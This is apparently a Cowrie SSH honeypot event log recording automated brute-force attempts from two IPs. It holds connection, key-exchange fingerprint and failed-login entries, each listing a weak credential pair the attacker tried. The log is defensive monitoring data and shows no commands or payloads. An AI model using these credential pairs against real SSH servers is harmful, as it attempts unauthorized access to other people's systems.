{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:08.491597Z","src_ip":"43.134.24.11","session":"f31c0a3dca38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":55144,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb736209f933","protocol":"ssh","message":"New connection: 43.134.24.11:55144 (10.17.0.5:22) [session: eb736209f933]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:11.948725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:11.953825Z","src_ip":"43.134.24.11","session":"eb736209f933","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:12.200540Z","src_ip":"43.134.24.11","session":"eb736209f933","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX3edc","message":"login attempt [root/1qaz@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:12.940338Z","src_ip":"43.134.24.11","session":"eb736209f933","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:14.267781Z","src_ip":"43.134.24.11","session":"eb736209f933","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":23319,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd38df02f19c","protocol":"ssh","message":"New connection: 43.134.24.11:23319 (10.17.0.5:22) [session: fd38df02f19c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:17.579034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:17.583542Z","src_ip":"43.134.24.11","session":"fd38df02f19c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:17.904393Z","src_ip":"43.134.24.11","session":"fd38df02f19c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:18.615937Z","src_ip":"43.134.24.11","session":"fd38df02f19c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:19.856100Z","src_ip":"43.134.24.11","session":"fd38df02f19c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":6412,"dst_ip":"10.17.0.5","dst_port":22,"session":"6527f04e83ed","protocol":"ssh","message":"New connection: 43.134.24.11:6412 (10.17.0.5:22) [session: 6527f04e83ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:23.515858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:23.519713Z","src_ip":"43.134.24.11","session":"6527f04e83ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:23.767099Z","src_ip":"43.134.24.11","session":"6527f04e83ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"uftp","message":"login attempt [uftp/uftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:24.532612Z","src_ip":"43.134.24.11","session":"6527f04e83ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:25.780126Z","src_ip":"43.134.24.11","session":"6527f04e83ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":27916,"dst_ip":"10.17.0.5","dst_port":22,"session":"b68b731e305e","protocol":"ssh","message":"New connection: 43.134.24.11:27916 (10.17.0.5:22) [session: b68b731e305e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:29.310211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:29.314580Z","src_ip":"43.134.24.11","session":"b68b731e305e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:29.552739Z","src_ip":"43.134.24.11","session":"b68b731e305e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123","message":"login attempt [user1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:30.270207Z","src_ip":"43.134.24.11","session":"b68b731e305e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:31.512488Z","src_ip":"43.134.24.11","session":"b68b731e305e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":44330,"dst_ip":"10.17.0.5","dst_port":22,"session":"aea94d44f0f2","protocol":"ssh","message":"New connection: 43.134.24.11:44330 (10.17.0.5:22) [session: aea94d44f0f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:35.020617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:35.102371Z","src_ip":"43.134.24.11","session":"aea94d44f0f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:35.260371Z","src_ip":"43.134.24.11","session":"aea94d44f0f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"123456","message":"login attempt [wang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:36.201525Z","src_ip":"43.134.24.11","session":"aea94d44f0f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:37.442120Z","src_ip":"43.134.24.11","session":"aea94d44f0f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":40314,"dst_ip":"159.203.135.109","dst_port":22,"session":"50fd91798a94","protocol":"ssh","message":"New connection: 103.149.170.125:40314 (159.203.135.109:22) [session: 50fd91798a94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:38.971214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:38.975773Z","src_ip":"103.149.170.125","session":"50fd91798a94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:39.239793Z","src_ip":"103.149.170.125","session":"50fd91798a94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jordan","message":"login attempt [root/jordan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:40.329250Z","src_ip":"103.149.170.125","session":"50fd91798a94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":23320,"dst_ip":"10.17.0.5","dst_port":22,"session":"9df034a1c62d","protocol":"ssh","message":"New connection: 43.134.24.11:23320 (10.17.0.5:22) [session: 9df034a1c62d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:40.839564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:40.844332Z","src_ip":"43.134.24.11","session":"9df034a1c62d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:41.082908Z","src_ip":"43.134.24.11","session":"9df034a1c62d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:41.589678Z","src_ip":"103.149.170.125","session":"50fd91798a94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456789","message":"login attempt [debian/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:41.800803Z","src_ip":"43.134.24.11","session":"9df034a1c62d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:43.042525Z","src_ip":"43.134.24.11","session":"9df034a1c62d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":50335,"dst_ip":"10.17.0.5","dst_port":22,"session":"78ade22e2243","protocol":"ssh","message":"New connection: 43.134.24.11:50335 (10.17.0.5:22) [session: 78ade22e2243]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:46.556681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:46.561111Z","src_ip":"43.134.24.11","session":"78ade22e2243","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:46.798429Z","src_ip":"43.134.24.11","session":"78ade22e2243","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123456","message":"login attempt [developer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:47.811035Z","src_ip":"43.134.24.11","session":"78ade22e2243","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:49.051337Z","src_ip":"43.134.24.11","session":"78ade22e2243","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":39410,"dst_ip":"10.17.0.5","dst_port":22,"session":"15347bb2e29c","protocol":"ssh","message":"New connection: 43.134.24.11:39410 (10.17.0.5:22) [session: 15347bb2e29c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:52.258157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:57:52.299798Z","src_ip":"43.134.24.11","session":"15347bb2e29c","protocol":"ssh"}
